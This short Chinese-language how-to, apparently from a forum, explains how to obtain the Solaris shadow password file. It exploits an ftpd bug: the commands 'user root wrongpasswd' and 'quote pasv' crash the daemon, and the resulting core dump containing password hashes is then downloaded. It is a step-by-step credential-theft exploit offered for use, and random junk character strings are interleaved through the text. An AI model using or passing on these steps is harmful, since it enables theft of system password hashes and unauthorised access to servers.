如何用FIP獲取shadow口令文件

該方法利用了Solaris 操作系統(tǒng)中FTPD的一個(gè)BUG，使得用戶可以獲得該機(jī)的口令文件。具體過程如下：

1.通過 ftp 正常登錄到目的主機(jī)上
! d$ T+ m: a# n, ?+ Z! J- t
2.輸入如下命令序列：
1 o, u) [/ P3 d6 p" }  a
) D  Z7 v/ J8 W0 ^$ x# T6 O  Kftp> user root wrongpasswd
6 K! T6 h( u, @8 d! \: m
ftp> quote pasv
1 |1 [- a0 W4 ~; e( Y
9 i: n. J! Z$ i. ^3.這時(shí)，ftpd會(huì)報(bào)錯(cuò)退出，同時(shí)會(huì)在當(dāng)前目錄下生成一個(gè)core，口令文件就包含在這個(gè)core中。

4.再次進(jìn)入FTP >get core
. W* g/ z* O1 `; Q' _- V
補(bǔ)充：雖然在core只有一部分shadow，但是對(duì)于系統(tǒng)來說已經(jīng)是致命的打擊了